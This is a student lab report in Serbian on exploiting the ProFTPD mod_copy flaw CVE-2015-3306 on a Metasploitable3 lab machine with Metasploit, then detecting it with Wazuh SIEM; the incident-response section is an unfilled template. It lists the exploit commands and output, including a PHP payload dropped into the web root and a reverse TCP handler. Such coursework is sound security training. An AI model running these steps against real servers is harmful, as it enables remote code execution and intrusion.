

Eksploatacija ranjivosti, detekcija, i Incident Response izveštaj

Ime studenta: Spasoje Brboric

Datum: 11.12.2024.

Pregled Ranjivosti

Za svaku eksploatisanu ranjivost:

1.1 Informacije o ranjivosti

ID ranjivosti (CVE): CVE-2015-3306

Pogođen servis: ProFTPD (mod_copy modul)

CVSS ocena: 10.0

Opis ranjivosti:

Ranjivost CVE-2015-3306 pogađa ProFTPD servere koji imaju omogućeni modul mod_copy. Ova ranjivost omogućava lokalnim ili daljinskim napadačima da zloupotrebe komandni skup ovog modula kako bi kopirali datoteke iz ili u direktorijume kojima server ima pristup. Korišćenjem ove ranjivosti, napadač može prepisati ključne fajlove sistema ili postaviti maliciozne fajlove, što može dovesti do daljinskog izvršavanja koda ili eskalacije privilegija. Problem je nastao zbog neadekvatnih provera u okviru funkcionalnosti modula mod_copy.

1.2 Opis eksploita

Izvor eksploita:

<https://www.exploit-db.com/exploits/36803>

Metod eksploatacije:

Exploit koristi FTP komande SITE CPFR (copy from) i SITE CPTO (copy to), koje modul mod_copy pruža, kako bi kopirao zlonamerne fajlove na server. Napadač može postaviti PHP web shell u direktorijum koji je dostupan preko web servera, čime dobija mogućnost daljinskog izvršavanja komandi putem web interfejsa.

Proces Eksploatacije

Za svaku eksploatisanu ranljivost:

2.1 Podešavanje exploita

Ranljiv cilj: Eksploatacija je izvršena na metasploitable3 virtualnoj mašini koja koristi ProFTPD sa omogućenom funkcionalnošću mod_copy. Verzija ProFTPD koja je pogođena ovom ranjivošću je 1.3.5 (ili ranije verzije). Servis radi na FTP portu 21, koji je poznat kao standardni port za FTP protokol.

Alati za eksploataciju: Korišćen je Metasploit alat za eksploataciju ranjivosti. Exploit koji je odabran iz Metasploit baze nosi naziv: **proftpd_modcopy_exec**

2.2 Koraci eksploatacije

Prvo je potrebno pokrenuti Metasploit command prompt. Zatim unosimo komandu: **search cve-2015-3306** i dobijamo rezultat koji prikazuje dostupne exploite. Nakon toga biramo izvršavanje exploita pomocu komande **use 0**. Nakon toga se pomoću komande **info** mogu pronaći dodatne informacije u vezi obaveznih i opcionih parametara samog exploita. Neophodno je podesiti IP adresu ranjive mašine. To radimo komandom **set rhosts 10.1.1.112**

2.3 Rezultat eksploatacije

Nakon ovoga se pokrece i izvrsava exploit:

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 10.1.1.112:21 - 10.1.1.112:21 - Connected to FTP server
[*] 10.1.1.112:21 - 10.1.1.112:21 - Sending copy commands to FTP server
[*] 10.1.1.112:21 - Executing PHP payload /Uvm9Ml.php
[-] 10.1.1.112:21 - Exploit aborted due to failure: unknown: 10.1.1.112:21 - Failure executing payload
[!] 10.1.1.112:21 - This exploit may require manual cleanup of '/var/www/html/Uvm9Ml.php' on the target
[*] Exploit completed, but no session was created.
```

Detekcija Korišćenjem Wazuh SIEM-a

Za svaku eksploatisanu ranljivost:

3.1 Wazuh SIEM eravila

Pravila korišćena za detekciju:

```
<rule id="11201" level="3">
  <if_sid>11200</if_sid>
  <match>FTP session opened.</match>
  <description>ProFTPD: FTP session opened.</description>
  <group>connection_attempt,gdpr_IV_32.2,hipaa_164.312.b,nist_800_53_AC.7,nist_800_53_AU.14,pci_dss_10.2.5,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
</rule>
```

ID pravila:

11201 - ProFTPD: FTP session opened

Ovo pravilo generiše upozorenje kada se otvori FTP sesija na ProFTPD serveru. Praćenjem ovakvih sesija, SIEM alat pruža informacije o potencijalnim pokušajima neovlašćenog pristupa.

3.2 Konfiguracija SIEM-a

Podešavanje Wazuh agenta:


Na target mašini je instaliran Wazuh-Agent na sledeći način:

1. U Wazuh Manageru prvo idemo na Server Management > Endpoints Summary > Deploy new agent


Deploy new agent

✓


Select the package to download and install on your system:

 **LINUX**

☒ RPM amd64 ☐ RPM aarch64
☐ DEB amd64 ☐ DEB aarch64

 **WINDOWS**

☐ MSI 32/64 bits

 **macOS**

☐ Intel
☐ Apple silicon

①

For additional systems and architectures, please check our [documentation](#).

✓

Server address:

This is the address the agent uses to communicate with the server. Enter an IP address or a fully qualified domain name (FQDN).

Assign a server address ?

192.168.0.105

2. Unosimo IP adresu metasploitable3 virtuelne mašine
3. U Metasploitable3 unosimo sledecu komandu: **sudo nano /var/ossec/etc/ossec.conf** i unosimo sledeće:

```
<client>
  <server>
    <address>192.168.0.104</address>
    <port>1514</port>
    <protocol>tcp</protocol>
  </server>
  <config-profile>ubuntu, ubuntu14, ubuntu14.04</config-profile>
  <notify_time>10</notify_time>
  <time-reconnect>60</time-reconnect>
  <auto_restart>yes</auto_restart>
  <crypto_method>aes</crypto_method>
</client>
```

4. Unosimo komandu **/var/ossec/bin/wazuh-control start**

3.3 Proces detekcije

Unutar Wazuh Manager-a idemo na Threat Intelligence pa zatim na Threat Hunting:

66 hits					
Dec 10, 2024 @ 15:51:06.838 - Dec 11, 2024 @ 15:51:06.838					
Export Formatted 472 columns hidden Density 1 fields sorted Full screen					
	timestamp	agent.name	rule.description	rule.level	rule.id
	Dec 11, 2024 @ 15:45:36.897	metasploitable3-ub1404	ProFTPD: FTP session opened.	3	11201
	Dec 11, 2024 @ 15:45:36.888	metasploitable3-ub1404	ProFTPD: FTP session opened.	3	11201

Takodje, mozemo videti i detaljnije informacije:

Document Details

[View surrounding documents](#) [View single document](#)

TableJSON

timestamp	Dec 11, 2024 @ 15:45:36.897
agent.name	metasploitable3-ub1404
rule.description	ProFTPD: FTP session opened.
rule.level	3
rule.id	11201
agent.id	001
agent.ip	10.1.1.112
data.srcip	10.1.1.190
decoder.name	proftpd
full_log	Dec 11 14:40:20 metasploitable3-ub1404 proftpd[3775]: metasploitable3-ub1404 (10.1.1.190[10.1.1.190]) - FTP session opened.
id	1733928336.53144
input.type	log
location	/var/log/syslog
manager.name	wazuh-server
predecoder.hostname	metasploitable3-ub1404
predecoder.program_name	proftpd
predecoder.timestamp	Dec 11 14:40:20
rule.description	ProFTPD: FTP session opened.
rule.firedtimes	5
rule.gdpr	IV_32.2
rule.groups	syslog, proftpd, connection_attempt
rule.hipaa	164.312.b
rule.id	11201
rule.level	3
rule.mail	false
rule.nist_800_53	AC.7, AU.14
rule.pci_dss	10.2.5
rule.tsc	CC6.8, CC7.2, CC7.3
timestamp	Dec 11, 2024 @ 15:45:36.897

Incident Response sa The Hive-om

4.1 Podešavanje integracije

Opis integracije:

(Objasnite kako je Wazuh integrisan sa The Hive-om za automatizovano kreiranje slučajeva)

Integracija pravila:

(Uključite kratak opis pravila koje pokreće kreiranje slučajeva u The Hive-u)

4.2 Kreiranje slučaja u The Hive-u

Detalji o slučaju:

(Dajte screenshot-ove koji prikazuju kreirani slučaj u The Hive-u nakon što se Wazuh pravilo aktiviralo)